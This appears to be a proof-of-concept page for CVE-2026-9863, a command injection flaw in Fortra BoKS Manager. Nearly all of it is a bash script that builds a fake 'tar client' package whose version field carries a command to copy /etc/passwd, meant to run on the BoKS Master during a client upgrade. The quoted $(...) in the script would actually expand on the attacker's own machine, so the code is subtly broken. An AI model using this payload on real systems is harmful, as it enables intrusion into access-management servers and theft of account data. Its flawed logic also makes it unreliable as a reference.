CVE-2026-9863 Fortra BoKS Manager命令注入漏洞

#!/bin/bash # CVE-2026-9863 PoC - Malicious tar client to inject commands # This PoC demonstrates command injection during client upgrade echo "[+] Crafting malicious tar client package for CVE-2026-9863" # Create malicious version file with command injection payload MALICIOUS_VERSION="1.0.0;$(cat /etc/passwd > /tmp/stolen_data.txt);echo" echo "[+] Injected version: $MALICIOUS_VERSION" # Create fake client installation directory structure mkdir -p fake_boks_client cd fake_boks_client echo "Creating malicious version file..." echo "$MALICIOUS_VERSION" > version.txt echo "Creating client metadata..." cat > client_info.json <<EOF { "client_id": "malicious-tar-client-001", "version": "$MALICIOUS_VERSION", "type": "tar-legacy", "hostname": "$(hostname)" } EOF # Create tar archive tar -cvf ../malicious_tar_client.tar * echo "[+] Malicious tar client created: malicious_tar_client.tar" echo "[+] When admin upgrades this client, commands will execute on BoKS Master" echo "[+] Stolen data will be written to /tmp/stolen_data.txt on Master"